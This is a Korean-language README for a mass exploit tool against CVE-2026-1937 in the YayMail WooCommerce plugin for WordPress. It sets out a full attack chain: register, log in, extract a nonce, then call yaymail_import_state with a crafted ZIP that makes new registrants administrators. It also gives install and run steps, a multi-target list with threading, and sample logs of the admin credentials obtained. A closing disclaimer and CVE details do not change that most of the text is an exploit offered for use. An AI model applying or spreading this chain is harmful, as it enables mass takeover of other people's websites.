
YayMail <= 4.3.2 - 'yaymail_import_state' AJAX Action을 통한 인증된(Shop Manager+) 임의 옵션 업데이트에 대한 인증 누락
설명:
WordPress용 YayMail – WooCommerce Email Customizer 플러그인은 4.3.2 이하의 모든 버전에서 권한 상승으로 이어지는 무단 데이터 수정 취약점에 노출되어 있습니다. yaymail_import_state AJAX 액션은 서버 측 권한 검사 없이 등록되어 있어, Shop Manager 이상의 접근 권한을 가진 인증된 공격자가 이를 자유롭게 호출할 수 있습니다. 조작된 ZIP 가져오기 파일을 업로드하면 공격자는 WordPress 사이트의 임의 옵션을 은밀히 덮어쓸 수 있습니다 — 여기에는 신규 사용자의 기본 등록 역할을 administrator로 설정하고 공개 회원가입을 활성화하는 것이 포함됩니다. 이러한 옵션이 주입되면 어떤 방문자든 사이트에 직접 등록하여 완전한 WordPress Administrator 계정을 받게 되며, 그 결과 사이트가 완전히 장악됩니다.
취약한 버전의 YayMail 플러그인이 실행 중인 WordPress + WooCommerce 설치 환경을 대상으로 하는 개념 증명(PoC) 대량 익스플로잇 체인입니다. 이 도구는 WooCommerce 등록 → 로그인 → YayMail nonce 추출 → yaymail_import_state 익스플로잇 → 관리자 확인으로 이어지는 전체 엔드투엔드 공격을 구현합니다.
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — 특수 제작된 가져오기 페이로드 (필수)pip install requests urllib3 rich
또는 requirements 파일을 통해 설치:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
이 도구는 Rich 기반의 완전 대화형 터미널 인터페이스를 사용합니다.
일반 텍스트 파일(기본값: list.txt)을 만드세요 — 한 줄에 대상 하나씩:
https://target1.com
https://target2.com
http://target3.com
target4.com
http://또는https://가 없는 대상에는https://가 자동으로 앞에 붙습니다.
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zip이 익스플로잇에는 가져올 때 다음 WordPress 옵션을 덮어쓰는 특수 제작된 YayMail 가져오기 ZIP 파일이 필요합니다:
| WordPress 옵션 | 주입 값 |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ 작업 디렉터리에
yaymail_backup.zip이 없으면 도구는 실행을 거부합니다.
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
근본 원인:
yaymail_import_state 핸들러는 가져오기를 처리하기 전에 current_user_can() 또는 이에 상응하는 권한 검사를 호출하지 않습니다. shop_manager 역할(또는 그 이상)을 가진 사용자는 누구든 이 액션을 자유롭게 호출하고 ZIP 가져오기 메커니즘을 통해 wp_options 테이블의 임의 항목을 덮어쓸 수 있습니다.
이 도구는 등록 및 로그인 양식을 위해 다음 경로를 자동으로 스캔합니다:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| 파일 | 설명 |
|---|---|
reg.txt | 자격 증명이 포함된 모든 성공적인 WooCommerce 등록 기록 |
Nx_admin.txt | 확인된 모든 관리자 권한 상승 기록 |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import
╔══════════════════════════════════════════════════════════════════╗
║ WooCommerce · YayMail · Mass Exploit Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCAN] https://target.com
[REGISTERED] https://target.com :: user: Nx_admin pass: Nx_adminSA
[LOGIN-WP] https://target.com :: wp-login.php
[SEARCH-NONCE] https://target.com :: not admin, trying YayMail chain
[NONCE-FOUND] https://target.com :: nonce: a1b2c3d4e5
[EXPLOIT] https://target.com :: nonce: a1b2c3d4e5
[SUCCESS] https://target.com :: user: Nx_admin pass: Nx_adminSA
┌──────────────────────────────────────���───────────────────────────────────┐
│ Target │ Status │ Credentials / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ EXPLOITED (ADMIN VERIFIED) │ user: Nx_admin … │
│ https://target2.com │ NO-REGISTER │ │
│ https://target3.com │ DEAD │ │
└──────────────────────────────────────────────────────────────────────────┘
제작: Nxploited (Khaled Alenazi)
이 도구는 교육 및 승인된 보안 연구 목적으로만 제공됩니다.
이 프로젝트의 작성자 **Nxploited (Khaled Alenazi)**와 모든 기여자는 명시적 서면 승인 없이 시스템에 대해 본 소프트웨어를 사용함으로써 발생하는 이 도구의 오용 또는 모든 피해에 대해 묵인하지 않으며, 지지하지 않으며, 책임을 지지 않습니다.
- ✅ 허용: 본인이 소유하거나 테스트에 대한 명시적 서면 승인을 받은 시스템에서의 사용.
- ❌ 금지: 시스템 소유자의 사전 명시적 서면 승인 없이 모든 시스템에 대한 사용.
컴퓨터 시스템에 대한 무단 접근은 불법이며 관련 법률에 따라 처벌 대상입니다. 여기에는 Computer Fraud and Abuse Act(CFAA), Computer Misuse Act(CMA) 및 전 세계의 동등한 법률이 포함되며 이에 국한되지 않습니다.
이 도구를 사용함으로써 귀하는 자신의 행동에 대한 단독 및 전적인 책임을 수락하며, 대상 시스템을 테스트할 법적 권한이 있음을 확인합니다.
작성자는 본 소프트웨어의 사용 또는 오용으로 인해 발생하는 직접적, 간접적, 부수적 또는 결과적 손해에 대해 일체의 책임을 지지 않습니다.
© 2026 Nxploited (Khaled Alenazi) — 승인된 보안 연구 목적으로만 사용하세요.
| 항목 | 세부 정보 |
|---|
| CVE ID | CVE-2026-1937 |
| 심각도 | 높음(HIGH) — CVSS v3.1 점수: 7.2 |
| 벡터 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 연구자 | Daniel Basta (whizzu) — NASK PIB |
| 공개 발표일 | 2026년 2월 17일 |
| 최종 업데이트일 | 2026년 3월 27일 |
| 영향받는 소프트웨어 | YayMail – WooCommerce Email Customizer Plugin for WordPress |
| 영향받는 버전 | 4.3.2 이하의 모든 버전 |
| 취약점 유형 | 권한 검증 누락 → 무단 임의 옵션 업데이트 → 권한 상승 |
| 인증 필요 | 예 — Shop Manager 이상 |
| CWE | CWE-862: Missing Authorization |
| 상태 | 색상 | 의미 |
|---|
EXPLOITED (ADMIN VERIFIED) | 🟢 초록 | 전체 체인 성공 — 관리자 확인됨 |
EXPLOITED (ADMIN) | 🟢 초록 | 등록된 사용자가 이미 관리자였음 |
PARTIAL | 🟡 노랑 | YayMail 가져오기는 성공했지만 관리자 접근이 확인되지 않음 |
REGISTERED | 🟡 노랑 | WooCommerce 등록 성공 |
LOGIN-WP | 🔵 청록 | /wp-login.php를 통해 로그인됨 |
LOGIN-WOO | 🔵 청록 | WooCommerce 양식을 통해 로그인됨 |
NONCE-FOUND | 🟣 자홍 | YayMail nonce 추출 성공 |
NO-REGISTER | ⚫ 검정 | WooCommerce 등록 양식을 찾지 못함 |
LOGIN-FAILED | ⚫ 검정 | 인증된 세션을 수립할 수 없음 |
NONCE-NOT-FOUND | ⚫ 검정 | YayMail 설정 페이지에 접근할 수 없거나 nonce가 없음 |
EXPLOIT-FAILED | 🔴 빨강 | yaymail_import_state 호출이 성공을 반환하지 않음 |
TIMEOUT | ⚫ 검정 | HTTP 시간 초과 |
DEAD | ⚫ 검정 | 연결 거부 / 도달 불가 |
ERROR | 🔴 빨강 | 예상치 못한 예외 |